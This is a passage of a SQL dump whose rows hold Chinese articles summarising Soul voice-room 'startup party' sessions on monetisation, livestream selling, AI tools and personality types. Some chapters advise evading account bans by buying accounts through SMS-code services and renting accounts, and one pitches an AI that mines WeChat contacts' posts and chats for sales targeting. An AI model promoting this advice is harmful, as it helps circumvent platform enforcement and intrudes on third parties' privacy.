6000 一月,有的点不用钱,我们有补贴,你卖啥自己弄,没产品找品牌方聊,本质是就业项目。\n\n103 场下来,今天炸了两次,人倒蛮多,500 多了。\n\nSoul 的流量密码我们比较清楚,每个月 70 到 100 万曝光。\n\n不订阅群主容易找不到房,炸了就没了,订阅一下不容易丢。\n\n每天 6 点到 9 点,停留 10 到 15 分钟,一场 300 到 600 人,能听到两三个别人的视角。\n\n想链接的私聊群主,有资源群、会员群,有执行力就来。小程序搜卡若的创业派对,一天一块钱一节,每天更。', 4659, 0, 1.00, 65, 'published', '2026-02-18 17:24:31.000', '2026-03-10 06:25:50.197', 0, 0, 0, 2.40, NULL, NULL); -INSERT INTO `chapters` VALUES (197, '10.03', 'part-2026-daily', '2026每日派对干货', 'chapter-2026-daily', '2026每日派对干货', '第105场|创业社群、直播带货与程序员', '能坚持的事,一定是聊天就能解决的。\n\n2026年2月20日,初四,早上7:10。\n\nSoul 上开了第 105 场,两个多小时。\n\n四个月 105 场,推流 108 万,进房去重 1 万 4,昨天 103 场炸了房,今天人也不少。\n\n---\n\n2 号上麦,在北京做创业社群,27 岁。\n\n他说本业做私域、社交、创业社群,刚起步半个多月,拉了几百人群,很多东西抄原公司的,把 LOGO 换一下。\n\n载体是线下沙龙,场地还没定,想招商找合作方,或者跟家里修复关系用公司会议厅。\n\n我问你怎么覆盖成本,他说还没想,私域本身没想一上来就变现。\n\n我说聚人气的话,收会员费、茶水费就能把线下开支覆盖,很容易。\n\n给企业做赋能,前面可以不收钱,资源好的邀请入会不收,没资源的该交交。\n\n他问怎么搞流量,说自媒体某书某音还没怎么开始,引流几天拉了几百人,之前花时间做网站、开发程序,都自己一个人,用 AI 开发。\n\n我说你可以来 Soul 试一下,还比较早。\n\n105 场下来,我们推流 108 万,进房 1 万 4 去重,线下也见了三十几个人,有点效果。\n\n他说私域还有一个用途,给未来做的 agent 和 AI 玩具找落地场景、打通销售渠道,线上活动还邀请了上市公司老总、大学教授,一开始要留影音资料做宣传。\n\n我说资源可以,一开始就有个启动,不差。\n\nSoul 派对每月一两万人进房、60 到 80 万曝光,能解决需求别人就愿意买单。创业社群刚起步的,早点来试试,不亏。\n\n---\n\n有个小姐姐按格式介绍,ESTJ,江苏扬州,之前房地产团队管理,现在做直播带货。\n\n从搭建直播间到选品到运营到直播前段都她弄,团队也她管,碰到的问题是投流。\n\n她说直播带货很卷,一个品打得好就有人复制,甚至用鹌鹑蛋冒充咸鸭蛋,外包装写咸鸭蛋,价格比你低,消费者不知道。\n\n我问她从房地产转直播带货哪一年,她说 24 年 11 月,之前陪读一年多边学理论,24 年底开始行动。\n\n我说你执行力很强,管理跟落地跟进能力都行,事情没做好会难受,适合带大团队。\n\n她讲最后一个房地产项目没做好,老板拿地做公寓商铺,商业用地改不了住宅,产品非刚需,房地产又在下行,开盘延迟,节点没卡上。\n\n我说房地产下行是大环境,但刚需还在,结婚上学要买房。\n\n她问直播带货和房产哪个好做。\n\n我说房产。房产总金额高,卖一套拿佣金上万,还有金融属性;直播带货门槛低、复制率高,一单利润没多少,投流退货人工扣完剩不多。\n\n她说出来干感受最深的是私人老板出尔反尔多,约定好待遇和做到多少,你做到了他反悔不想给那么多,觉得账号起来了换个人也能做,说话不算话成本太低。\n\n我说讲信用很重要,线上要大量筛人,线下 100 人筛三五个合作伙伴,线上得 1000 人。\n\n房产比直播带货好做。老板说话不算话,筛对人比做对事更重要。\n\n---\n\n8 号小杨,广东广州,擅长大数据和 AI。\n\n最赚钱一个月交付一个系统 12 万,SAP ERP 对接端小程序,那时候还没 AI。\n\n现在用 AI 开发,大框架自己有,细分把简单工作抛给 AI,工作已经不太需要自己开发,业余开发自己的,偏架构、产品。\n\n他说做金融类大模型训练底座,日活 1700 万。\n\n有人问豆包手机、root、各平台数据接口有没有资源,他说他们数据都内部产生,不需要调讯飞。\n\n他说 AI 做出来跟想要的有偏差,经验是多轮对话先别生成代码,跟 AI 把想法完善成完整需求,再交给 AI 实施,等于需求评审、技术评审做完再生成代码,实施和蓝图不偏离效果就不会太差。\n\n我说跟传统开发一样,AI 像产品经理帮你把需求整理好,再交给前后端实施,先可视化看是不是想要的,再后端实现、测试。\n\n他说程序员找女朋友难,身边很多十多年的,写代码搞 AI 不难,找女朋友真难。\n\n我说程序员工资偏高,所以现在裁得多。女生不听逻辑,听语言温度,要给情绪价值,不要一直解决问题、一直给,要让她对你付出。\n\n程序员容易陷入我帮她解决问题的逻辑黑洞,要魅力、身份、语言艺术。\n\n他说公司 10 个开发 9 个光棍,工资最高的一个月 7 万。\n\n我说程序员要以目标为导向不能以工时为导向,解决问题速度、效率、结果,程序员最容易做超级个体。\n\n跟 AI 协作开发,先把需求想清楚再生成代码,效果差不了。程序员最适合做超级个体。\n\n---\n\nAI 这块,今年一定 all in,不用想。\n\n公司招人,程序员第一个看每月 AI 消耗有没有超过 1000 刀,连 300 刀 2000 多块都没有的直接淘汰。\n\n运营也是,有没有用 GPT 什么的,每月至少 20 美金消耗,没买过的放二档。\n\n买 GPT、Cursor、Canva 等,有消费才说明在用。\n\n去年开发平均每人 3000 到 8000 块 AI 费用,人效提升 3 倍,多花 5000 块很值。\n\n有人问 open cloud、扣子,觉得以后工资不是给程序员是给算力公司。\n\n我说正常,我一天消耗折算人民币七八百。开发出来的东西因为太容易了、重构太容易,变得不值钱,现在值钱的是算力。\n\n南风说号被封了,新注册的每天早上 8 到 9 点封一小时。\n\n我说封号就像创业失败从头再来,但你积累的经验在,知道怎么快速让号有三四十人、怎么在 Soul 搞流量搞派对,回头弄个教程给一起的小伙伴公开就行。\n\n---\n\n今天 393 人,差不多了。\n\n有想做副业的联系管理 2 号 5 号,想了解切片、分发的,分发不收费还有收益,不会的有人教收点小学费。\n\n自己分享我们会写成书放进小程序,别人看到会来链接。\n\n能坚持的事一定是聊天就能解决的,每天 6 点到 9 点,多听每个人的视角,别给自己太大压力。', 6187, 0, 1.00, 66, 'published', '2026-02-21 19:36:00.000', '2026-03-10 06:25:50.208', 1, 0, 0, 1.80, NULL, NULL); -INSERT INTO `chapters` VALUES (198, '10.04', 'part-2026-daily', '2026每日派对干货', 'chapter-2026-daily', '2026每日派对干货', '第104场|婚恋、AI客服与一个微信', '事情要做得足够简单,人和人之间的事可以足够复杂。\n\n2026年2月19日,初三,早上7:35。\n\nSoul 上开了第 104 场,两个多小时。\n\n昨天 103 场聊号商、某客,炸了两次房,500 多人。\n\n---\n\n有个做婚恋的小姐姐上麦,09 年做到现在,婚礼一站式,摄影加礼服,今年想平台化。\n\n她问有没有 AI 客服工具,能多平台聚合、自动回复、拟人一点,微信、某书、某音、视频号都能用。\n\n我说网易有个客服系统,能聚合各平台聊天,按席位算,三百到六百一年,很便宜。\n\n要专业的那种、自动回复还带 AI 的,就大几十万了。豆包做客服会稍微傻一点,今年说不定会发力。\n\n免费的方案也有,各平台自带自动回复,就是要配置维护。\n\n她说需要一点灵活性、拟人化。\n\n我说网易那个先去试,多平台聚合聊天这个需求是有的,还没到私域那一步,聚合一下还可以。\n\n她讲她的规划,两个礼服馆品牌做祝福价引流,再整合五星级酒店、策划、执行成产品,从深圳打样,民政局、企业福利都合作。\n\n我说你们拓客从哪来?她说自媒体、上下游、渠道、企业、民政局、大活动都有,但做得不够深。\n\n我说婚恋这块线上不一定好弄,我有个朋友做抖音婚恋大 IP,一条几十万播放,获客并不明显,整个行业从线上走很难解决信任问题。\n\n你线下沉淀这么久,民政局、合作方都有,这种形式可能更直接。\n\n我说有一家叫一万和合的,你可以参考。\n\n他们学王婆,跟万达和商场合作,现场做结婚匹配活动,外面一圈只能看,里面一圈能参与,进里面要签到加微信。\n\n就这一招,每两个月一场沙龙,一场能加三百到五百人,后端会员费加高定撮合。\n\n她说婚恋机构平台还没合作,可以把产品放进他们会员礼包里。\n\n我说你多找几家这种机构不就快了,他们那几百个人就够消化两个月,而且很精准。\n\n你自己一个微信就搞定了,各平台流量没那么重要,解决信任问题很麻烦,链路太长会很长。\n\n她走高端,摄影加服装平均一万五左右,获客成本行业一千多,她方最多两百,某书投流 1:10,线上聊完到线下消费。\n\n我说你们板块还可以,深圳有个美能妆给医美机构导流,你可以参考。\n\n先做好自己那一块,私域维护好,单个产品做好,别急着搭平台。\n\n她说工具不想追求特别高大上的,怕被割韭菜。\n\n我说很多是营销号宣传出来的,网易大厂做得久,飞鱼吧,也不贵,先试试。\n\n深圳做婚恋、比较白的话,Soul 已经接入广点通,可以了解一下,正规内容有机会。\n\n---\n\n再说一个微信的事。有人说 AI 怎么挣钱。\n\n我说你们都有很多微信好友了,多少有认识有链接,信任是第一层。\n\n如果有一个 AI,手机或电脑形态,微信登上去,自动帮你聊天、分析客户,通过朋友圈知道性格职业喜好,通过聊天记录知道需求。\n\n比如三千个好友里三十个有婚恋需求,就针对这三十个人触达、点赞、评论,朋友圈让 AI 发婚恋相关内容。这个叫 AI 数字员工。\n\n你再往生意想:把红娘整合过来,给她一个 AI 数字员工,帮她开发所有客户,开发完你分她钱。\n\n红娘做了五年十年,资源贡献给你,成交后分钱。\n\nAI 在中间看好友朋友圈、判定需求、分到流量池做运维,但缺情绪、没温度,关键环节还是要人。\n\n搭这个中台成本很重,两百万到五百万以上。\n\n加入现成中台约 600 块 token 一月,你负责客户,企业负责转化。\n\n核心九成在运营,工具只占一成,原有链路没跑通,用再好工具都没用。\n\n---\n\n另一个做私人眼镜定制的说,和杭州合作卖货机器人,抖音 API 自动获客锁客到微信小程序,单账号日触达五千加,转化高,但类目库没有眼镜。\n\n我说后端扩展类目、多平台,核心在运营与话术流程,不是单靠工具。\n\nAI 主要是知识库,按你原有成交话术流程、按人的情绪阶段触达。\n\n你前端链路已经跑通了,后端的触达形式在运营思路和策略上。\n\n---\n\n104 场数据顺带说一下。\n\n2 月到现在 Soul 推流 31 万,进房 4060,1 月推流 77 万,进房去重 9690,76 个曝光进一个人。\n\n前几个月加起来差不多 250 万曝光,三个多月触达 30 万人了,链接 100 多人,合作七八个,公司招了两三个,线上团队 7 个。\n\n开派对我搞得足够简单,两个手机点三下就开。\n\n动力是数据清晰,每月 60 到 80 万曝光,触达 1 到 2 万人,总会有合作对象。\n\n能坚持的事一定是聊天就能解决的,别给自己太大压力。\n\n小程序叫卡若创业派对,有空可以看。', 4992, 0, 1.00, 67, 'published', '2026-02-21 19:41:31.000', '2026-03-10 06:25:50.220', 22, 0, 0, 2.00, NULL, NULL); -INSERT INTO `chapters` VALUES (199, '10.05', 'part-2026-daily', '2026每日派对干货', 'chapter-2026-daily', '2026每日派对干货', '第107场|性格、陪伴经济与本地AI', '# 第107场|性格、陪伴经济与本地AI\n\n\n了解自己,才知道什么样的运你接得住。\n\n\n2026 年 2 月 23 日,初六,上午。\n\n\n第 107 场,137 分钟;\n\n场观 33820,进房 398 人。\n\n\n四个月 107 场,每月一两万人进派对,平均停留 10~15 分钟。\n\n\n这场聊了三块:性格和创业怎么搭、陪伴经济谁在挣钱、本地同城用 AI 做代运营的 7 号。\n\n\n---\n\n\n先说你得先了解自己。\n\n\n很多人一上来就问怎么挣钱,听说什么挣钱就去做,没想自己适合什么。\n\n愿力大于能力,你得敢有目标;\n\n但目标要跟你这个人对得上。\n\n\n最简单的自测:你最强的三个能力是什么、最有成就感的一件事、最赚钱的一个月做了什么,写下来,自我画像就出来一半。\n\n再加三条你绝不越界的底线、短期和长期的职业规划,自己就清晰了。\n\n\n性格会决定你适合单干还是带团队、做执行还是做决策。\n\n比如 INTJ 最适合先打透一条闭环、再找一个 ENFP 去复制放大;\n\nINFP 适合当二把手、做顾问或协调,不适合自己扛决策。\n\nENFP 适合收集资源、链接人脉,但底下得有一个 INTJ 或 INFJ 帮着落地和收束。\n\n这些不是迷信,是很多人用团队试错试出来的——性格不对,能力再强也容易散。\n\n\n---\n\n\n4 号上麦,ENFJ,像变色龙,做新项目粘合剂。\n\n\n她说最近在搞睫毛增长液,产品还没出来,几个人之间会有小摩擦,她在中间调节、把力往一处使。\n\n我说这就对了,ENFJ 适合项目冷启动:目标定完,大家看不到利益或遇到挫败的时候,需要有人做感情维护、给阶段性的小结果,这是 ENFJ 擅长的。\n\n\n她问 MBTI 是不是对应小孔雀。\n\n我说孔雀是 PDP 动物型,测的是团队协同;\n\nMBTI 测的是个人性格和职业倾向,两个可以一起看。\n\nENFJ 做多了项目会越来越值钱,不用追求特别精,把团队每个业务流都摸一遍,当好粘合剂就行。\n\n\n5 号说他天天给员工画大饼,但落实别找他。\n\n我说 ENTP 就这样,画大饼、冲前面可以,执行要甩给 ENTJ 或 INTJ,你带一个 INTP 帮你整逻辑、一个 ENTJ 扛执行,饼画够大,ENTJ 才控得住。\n\n\n---\n\n\n陪伴经济这场也聊了不少。\n\n\n6 号问普通人做陪伴、针对宝妈或大学生行不行。\n\n我说可以,但收益低;\n\n高收益的在别处。\n\n比如伴游:抖音发漂亮小姐姐陪老板商务局、几个高大上场景,一条视频 800 到账,流量和付费人群都清晰,后端把私域和团队接住就行。\n\n再比如高端婚恋:有些富婆找有格局、能聊同频的创业男性,成功在一起一单 30 万,人家做深圳上海厦门三城,一年百单就三千万。\n\n核心不是流量,是高质量的人。\n\n\n还有绿色陪伴、陪老人、陪玩赶海,都能做。\n\n养老要五轮考核,风险高;\n\n赶海那种是辛苦做量。\n\n情绪价值接下来会越来越值钱,AI 越冷,真人带温度的服务越贵。\n\n\n---\n\n\n7 号做 AI 自动化,从短视频到直播到私域一整条链路。\n\n\n他说 3 月会拿一笔投资,把公司做起来,已经合作了周六福和广东 600 多家门店的餐饮连锁。\n\n收费是工具使用费一年 1~3 万,主播和团购另算抽点。\n\n主攻实体企业老板、对 AI 有认知的,目前做青旅、餐饮、珠宝,在深圳青旅做到同城头部。\n\n\n我说你这个业务不新颖,本地同城代运营很多,关键看人:你是谁、资方是谁、案例有没有。\n\n你已经做出标准化样本,接下来是跟商家怎么深度捆绑——纯工具没壁垒,纯代运营太累,最好能锁定几家、成立运营公司或拿用户触达权,不然很容易被「我觉得我自己也能做」的商家甩开。\n\n\n他说客户和投资人都是在 Soul 这个房间链接上的。\n\n我说线上筛人快,但开发落地沟通成本高,核心岗位最好线下碰;\n\n你深圳的,南山月亮湾 AI 沙龙多,可以线下再筛一轮。\n\n\n---\n\n\n其他零碎的。\n\n\n炸房很正常,聊深了就容易触线;\n\n我准备了 6 个号,手机摆旁边,封一个换一个。\n\nSoul 上搞流量不难,有内容、有节奏、什么人数做什么动作,开多了就摸得到规律。\n\n\n基因胶囊这周刚出,技能打包成一颗「药丸」丢给 AI,它就会了;\n\n公司里都在做,财务、拆书、本地模型协同,能沉淀成基因的都在沉淀。\n\n学 AI 就学怎么用 AI 挣钱,不然学了也没用。\n\n\n想副业的联系管理,切片分发、分享书都有收益;\n\n想深度合作的业务清晰的可以进会员群。\n\n每天 6 点到 9 点,多听每个人的视角,多分享多曝光,别人知道你能解决什么,合作才会来。\n\n\n了解自己,才知道什么样的运你接得住;\n\n接住了,再谈坚持和放大。', 1685, 0, 1.00, 68, 'published', '2026-02-23 10:17:19.000', '2026-03-10 06:25:50.231', 9, 0, 0, 0.00, NULL, NULL); -INSERT INTO `chapters` VALUES (200, '10.06', 'part-2026-daily', '2026每日派对干货', 'chapter-2026-daily', '2026每日派对干货', '第108场|Soul场观400等于抖音1万', '# 第108场|Soul场观400等于抖音1万\n\n\nSoul 场观 400 到 600,合作价值相当于抖音 1 万。\n\n\n2026 年 2 月 24 日,初七,早上 6:53。\n\n\n第 108 场,162 分钟;\n\n进房 544 人。\n\n\n---\n\n\n6 号问了一个问题:你们在 Soul 上做这个事,跟抖音有什么本质区别?\n\n\n我说最大的区别就两个:停留时间、专注力。\n\n\n抖音的场观是多少?\n\n我搞了几年,开直播场观 5000 到 15000 之间。\n\n\nSoul 的场观是多少?\n\n400 到 600。\n\n\n但你听别人 1 到 3 分钟,跟听别人 10 到 15 分钟,完全不是一回事。\n\n\n能聊 10 到 15 分钟的人,他的沉浸程度、合作意愿、能聊出来的东西的价值,跟刷 1 到 3 分钟就划走的人,完全不一样。\n\n\n所以 Soul 400 到 600 的场观,效果相当于抖音 1 万左右的场观,甚至更好。\n\n\n我们没有瞎说,每天都在做数据运营,管理很辛苦,数据报表都有。\n\n\n---\n\n\n抖音的优势是能展示办公室、场景、人,流量大。\n\n\n但抖音的缺点是停留太短,1 到 3 分钟就没了。\n\n\nSoul 是纯社交,语音聊天,没有画面,但人愿意待 10 到 15 分钟。\n\n\n你想想,两个人对话,聊业务、聊合作、聊需求,1 到 3 分钟能聊出什么?\n\n刚进入状态就结束了。\n\n\n10 到 15 分钟,能把事情讲清楚,能把人筛出来,能判断这个人靠不靠谱、能不能合作。\n\n\n合作的机会完全不一样。\n\n\n---\n\n\n108 场下来,结果是什么?\n\n\n核心管理 7 个,做副业的 40 多个,老板群 90 多个,会员群在聚集。\n\n\n这些全是线上组织的,不是线下发工资招的。\n\n\n线下招人太容易了,给钱就行;\n\n线上要讲情绪价值、要筛选、要磨合,难 100 倍。\n\n\n抖音搞这个事情得一年多,Soul 两三个月就出来了。\n\n\n十月到十一月,进房人数多了 3 倍;\n\n十一月到十二月,多了 4 倍;\n\n一月到二月,又多了 30% 到 40%。\n\n\nSoul 是增量的,每个月都在涨。\n\n\n现在我们每月 1 万人进派对,每天 300 到 600 个人,最高一次 800 多。\n\n\n这 1 万人里面,有多少能合作?\n\n有多少能形成联合?\n\n有多少可能投资?\n\n不一定,但基数在这。\n\n\n---\n\n\n3 号上麦,合肥的,做医疗 AI 辅助诊疗系统。\n\n\n标品 2 万永久版,给私人诊所用的,从挂号、辅助诊疗、病历库存、财务多端协同到硬件外设,一整条流程。\n\n\n定制单子几百万,做过雨露先行的 AI 制药文献综述、国投证券的投资项目计划书智能体、小工厂的拼多多 AI 客服。\n\n\n他说标品走量,定制维持现金流,一年接一两个大单就够吃。\n\n\n我问你们交付形态是什么?\n\n他说主要给医师端用,Windows 台式机本地跑,数据不上云,医生放心。\n\n\n诊所这块是上行的,美业下行,但私人诊所、中医馆很火,我全家每个月花 3 万多在针灸看病上。\n\n\n他说拓市场缺人,之前做拓展的离职了,想找医疗器械方面的业务合伙人。\n\n\n我说技术的人不适合走关系,你找个专门做这块的合伙人来跑渠道,线上也可以筛,Soul 上很多做诊所的、做医院招投标的,可以链接。\n\n\n他说讯飞应用市场、奇绩创坛都是在 Soul 上朋友推荐的。\n\n\n渠道最重要,产品已经跑通了,就差人。\n\n\n---\n\n\n5 号问:像你们这种财务比较自由的人,为什么还要这么努力?\n\n\n我说跟钱没关系,本来就在享受生活。\n\n\n每天陪小孩、遛狗、公司逛一逛,开派对就是 6 点到 9 点聊聊天,以前这个时间是散步的,现在改成聊天而已。\n\n\n做 Soul 四个月,108 场,发现降本增效很多:服务器成本降了一大半,供应链合作成本比想象中低,找切片的人容易找,人才也懂。\n\n\nSoul 现在是送流量的,不做完全是浪费。\n\n\n开派对等于开淘宝店,07 年淘宝也是设一两百个宝贝,7 天快到期的排序,流量咔咔进来,跟现在 Soul 的感觉一样。\n\n\n比当年开淘宝还快。\n\n\n---\n\n\n6 号又问:你们到底怎么赚钱?\n\n聊了一大堆,最后还是说怎么加入你们,但没讲清楚你们的业务模式。\n\n\n我说讲了很多遍了,你进来没多久,多听几场就懂。\n\n\n第一,派对两三个小时的内容,优质部分切成切片,切片团队分发,有动作给钱,有客资给钱,有产品分成给钱,平均一个月 800 到 5000 不等。\n\n\n第二,优秀的项目我们帮你推广,几十个人分发,一天几十万曝光,业务上去谈分钱。\n\n\n第三,项目投资,你靠谱、有结果、能闭环,我们投你,分钱。\n\n\n第四,推一条项目推广,拿多少分成先讲好,推过去就分钱。\n\n\n第五,会员费,你想进来就交,我们筛选。\n\n\n多维度,不是单一路径。\n\n\n我们不需要筛选项目,线下我过去看你财报、看你公司、看人员状态,该合作就合作;\n\n线上看不见摸不着,只能从你表述的节奏、解决问题的能力来判断,合适就约线下见面。\n\n\n---\n\n\n7 号总结了一句:你们要的是切实的业务,不是想法。\n\n\n你把自己的业务、感触、现在的需求说清楚,有人能帮上就链接,链接的深度取决于你做这个事情靠不靠谱、有没有结果。\n\n\n8 号说:这个平台的价值就是分享我需要什么、我能带来什么,认知提升,同时可能找到合作伙伴。\n\n\n把想法具象化:我开影楼,有摄影资源,能接触到拍婚纱的人,谁有婚礼 MV 的需求?\n\n我帮你做。\n\n\n这样才有落脚点。\n\n\n---\n\n\n今天 162 分钟,544 人,人均 11 分钟。', 1944, 0, 1.00, 69, 'published', '2026-02-24 11:05:26.000', '2026-03-10 06:25:50.243', 2, 0, 0, 0.00, NULL, NULL); -INSERT INTO `chapters` VALUES (201, '10.08', 'part-2026-daily', '2026每日派对干货', 'chapter-2026-daily', '2026每日派对干货', '第110场|Soul变现逻辑全程公开', '# 第110场|Soul变现逻辑全程公开\n\n\n挣钱这件事,能摊开讲的都不算秘密。\n\n\n2026 年 2 月 26 日,上午 7:02。\n\n\n第 110 场,144 分钟;\n\n进房 406 人。\n\n\n---\n\n\n有人问:Soul 上面怎么挣钱?\n\n\n开派对就挣钱。\n\n\n今天 110 场了,跟你讲这套变现逻辑,全程公开。\n\n\n前期都是砸钱的。\n\n\n第一个,召集切片的、召集干活的,有动作就给钱。\n\n\n发瞬间给钱,有客资给钱,项目卖出去也给钱,他们赚的是副业的钱。\n\n\n内容由场上生产,写总结,把每天派对里优秀的分享、案例整理出来,给有时间的人去发,发就有钱拿。\n\n\n想做切片、做副业的,可以@管理,有电脑、会剪辑的都能问问。\n\n\n第二个,省钱。\n\n\nSoul 上很多供应链的人过来,直接合作。\n\n\n一年服务器加租金各种费用差不多小 40 万,有一个人给了半价还不到,17 万多,省了二十几万。\n\n\n做水的过来,定了一年的水,另一个投资的金融公司也找他定了一年。\n\n\n消费的本质是省钱,前期在上面花了不少,但省得更多。\n\n\n第三个,收钱的几个形式。\n\n\n资源群加了门槛,有分享、有介绍才进,现在 93 个老板。\n\n\n有人要获客、推项目,开发做了小程序,把项目写进去、推广出去,收一点钱,会员群就出来了。\n\n\n好的项目提前谈好分润,有合作的分。\n\n\n再就是跟主营赋能,做电竞的,在派对里筛到不错的人,配几个人给他,跑通了,一个月一二十万利润,也是收益。\n\n\n四个月下来,做副业的 40 多个,管理 7 个,老板群 93 个,会员也收了好几个。\n\n\n前期投入发钱,现在慢慢成型了。\n\n想参与副业、做切片的,联系管理就行。\n\n\n---\n\n\n3 号问:Soul 来回转化干嘛的?\n\n没太听清楚。\n\n\n变现逻辑就这几个。\n\n\n后面小程序 2.0 已经上了,你分享一篇文章,别人付一块钱,90% 归你,5% 给腾讯,平台拿一个点,管理拿四个点。\n\n\n你开派对、推当天的文章,别人付费都跟你 30 天捆绑,开派对可能就挣几万,这套打底要打半年。\n\n\n对比传统沙龙已经快很多了。\n\n\n每个月派对进来一两万人,去重完 1 万出头,人均停留 10 到 15 分钟。\n\n\n还有 30 多个做切片的,每月小 2000 万播放。\n\n想做切片的可以找@南风了解一下流程。\n\n\n有这个量,接啥不行?\n\n\n有厦门场地的人来合作,给人堆满;\n\n有开发需求的,当渠道丢给程序员。\n\n\n都是顺便的事。\n\n\n---\n\n\n场上还有人问别的。\n\n\n有人问 AI 怎么做、怎么赚钱,太泛了,你原来做什么就用 AI 赋能,提升效率。\n\n\n想了解 AI 就进圈子,付费圈子好一点,免费的里面都是不懂的,聊不出啥。\n\n\n4 号做工厂电商,白胚一千个图案就一千个新款,一套图最便宜 200 多,拍不过来。\n\n\nAI 出图、批量上架的工具很多,豆包搜一下、需求描述清楚,让它给你推,前三款付一两个试试。\n\n\n5 号室内设计想转行,围绕原有能力转,设计师转短视频、转 AI 出图的多,比跨赛道做跨境容易出结果。\n\n\n6 号问 10 个抖音号用 AI 在自己电脑上分发会不会封号。\n\n\n同一 IP 多号做矩阵肯定要出问题,现在成熟的是分布式矩阵,用别人的号,租号已经成产业链了,一个号一个月 100 块普通的,好一点的 200,有粉丝的 1000。\n\n\n7 号做太阳能、卖电的,以前一个人干拿过几十万,现在浙江市场利润低。\n\n\n跟现在卖算力是一类事,找有算力的公司、找有算力需求的企业,赚差价,本质是销售。\n\n\n8 号博士、大学老师,手上有两所学校、17000 学生,开了 AI 漫剧课,想组团跟红果谈。\n\n\n肯定能做,以前做过飞飞时间,企业把工作流拆细发到 APP 上接任务,学生做完就有收益;\n\n擅长做培训就对接好红果,学校做成,是这个城市第一家,大机会。\n\n\n---\n\n\n有人问:写东西能产生收益吗?\n\n\n没有直接收益,创造价值就有收益。\n\n\n每天写一篇放到小程序,别人付一块钱,90% 给分享的人。\n\n\n小程序日活几千,大家都能挣钱。\n\n\n2.0 已经上线,超级个体点一下能加对方微信、拉群,后面有 AI。\n\n\n3 月份迭代 3.0,109 场内容做向量化,提问都交给 AI 智能体。\n\n\n其实没花太多精力,6 点到 9 点聊聊天,管理很辛苦,流程都是他们整理的。\n\n有事想对接、想做副业或切片的,找管理就行。\n\n\n今天 144 分钟,406 人。\n\n\n每天公开数据,Soul 结束之后小助手去重完才是真实数,每个月 1 万到 2 万去重,停留 10 到 15 分钟,流量质量还可以。\n\n\n懂的就知道,就花 3 个小时,本来也是遛狗散步的时间,拿来聊聊天,顺便把变现跑通了。\n\n\n---\n\n\nSoul 咋变现?\n\n前期给钱、切片加会员加项目分润,四个月跑通。\n\n\n能坚持的事,一定是聊天就能解决的。', 1717, 0, 1.00, 71, 'published', '2026-02-26 15:42:13.000', '2026-03-10 06:25:50.266', 6, 0, 0, 0.00, NULL, NULL); -INSERT INTO `chapters` VALUES (202, '4.6', 'part-2', '第二篇|真实的行业', 'chapter-4', '第4章|内容商业篇', 'Soul被封号了:如何处理?', '今天开播派对的那个号被封了。\n\n封号不是终点,换号接着干就完了。\n\n---\n\n号没了咋办?\n\n你封这个号,就下一个号呗。\n\n提前准备好:6 个号,手机全部摆在旁边,专门搞个 Soul 直播的房间,6 台手机每个都登好。\n\n封了这个号,下一个号顶上,不耽误事。\n\n有人遇到过:直播号一发就被封,流量就没了,小号到现在还封着。\n\n拿其他号开不了派对,要身份证认证,认证解决不了。\n\n那就把还能开的大号当成直播号,5 台手机都登小号,直接上来,继续播。\n\n---\n\n为啥被封?得找原因。\n\n有的是小程序标题不能加「私域」了,最近改的,之前都能加。\n\n把这个事改掉就好了,没啥问题。\n\n炸房和封号是两回事。炸房还好,封号就严重了。\n\n有人说以前不炸房,聊多了就会炸房,还有人说不炸房的房主不是好房主,结果被封了,也挺冤。\n\n能避免就避免,别踩红线。\n\n---\n\n没号咋办?买。\n\n没手机就找人买。专门找了一个小伙伴解决各种黑科技链接,找他买就行。\n\n买号怎么买?这边接码,Soul 上注意看区号,香港、其他区号都有。\n\n发过来那一串,看着像乱码,其实不是,是英文,不用看懂,只需要后面的数字就行。\n\n上图就是实际买号接码的对话,照着流程走就行。\n\n内容咋办?号封了不是白干了?\n\n内容备份到群里边。号封了也不至于打水漂。\n\n群是另一条腿,号可以换,群里的资源和人脉要留住。\n\n有人封了 4、5 个号,身份证下 3 个都开不了,但群还在,换平台、换号,照样能接着聊、接着对接。\n\n符合规则、不讲违法的,封的概率就低。\n\n你薅平台流量,肯定要被封。引流到私域、内容备份到群,才是正事。\n\n---\n\n平台不行了咋办?\n\n换阵地。\n\n开派对开了 100 多场,抖音被封了好多号,从没断更过。封再多也没断。\n\n平台没用了就换。去年下半年说不干抖音,死心了,觉得平台没用了,直接换 Soul。\n\n换地方接着干,不在一棵树上吊死。\n\n别跟平台杠,杠也没用。多准备几个号、格式流程沉淀好、内容备份到群,比纠结为啥被封有用。\n\n人均被封过 20 个号,照样开 100 多场派对,没断过。封号是常态,接着干才是本事。\n\n---\n\n号是消耗品,别指望一个号用到老。\n\n抖音 17 年就玩,100 多个号,70 多万粉的号都被封过,这种事见多了。\n\nSoul 也一样。买两个号就怕封一个,封了再换,别纠结。\n\n号一被封,直接补上,链路通了就行。\n\n做分发的也一样:得有足够多的账号,封号很严重。分发团队要 4 到 5 个人管,封号怎么解决、各种卡点,一点点磨、一点点突破。\n\n深圳有人 15 万台手机,号一被封直接补上,专门找人供货,封不封无所谓。\n\n---\n\n把这些都整理出来,就有价值。\n\n买号的路径、解封的路径、准备微信号的路径,所有 SOP 流程细节,整理出来。\n\n想开派对、想拿流量,会不会封号?是痛点吧。流程怎么打流量?第一步、第二步、第三步怎么做?\n\n整理成文章,一块钱一个,值不值?\n\n后端推给卖号的小伙伴,找他买号,分一点点,导流就行。不怕封号。\n\n走过这些路,就是值钱的,写成经验,每天都在创造价值。开派对出的问题都整理一下,给真正做事、做生意的人用,就是很好的点。\n\n---\n\n格式、公告、流程也整理出来,写进 SOP,新人照着做。\n\n派对怎么开?回复「1」,排队上麦。上麦后按格式介绍:如何称呼、MBTI、地区、擅长行业、最赚钱的一个月做了什么、最有成就感的事、人生转折点。时间 5 到 10 分钟。你能帮大家什么?你需要什么帮助?进资源泡泡群,做矩阵切片,合作私聊管理。\n\n格式清晰,进来的人不乱讲,平台也好判断你在干啥。照着做就行。\n\n![卡若创业派对格式.png](/uploads/book-images/1772182998018073958_s3veuu.png)\n\n小程序、公告被限制了就赶紧改,改完迭代。格式是为了达到目的,达不到目的开派对就没意义。\n\n把方式、方法、步骤从实践里抠出来,输出成可复用的东西。封号换号也能快速接上,新人上来也能照着做,不依赖某一个号、某一个人。\n\n---\n\n总结一句:Soul 被封号了咋办?\n\n多号准备、符合规则、内容备份、换阵地接着干。号是消耗品,别纠结一个号,流程和格式沉淀下来,换号也能快速接上。\n\n6 台手机摆好、群建好、SOP 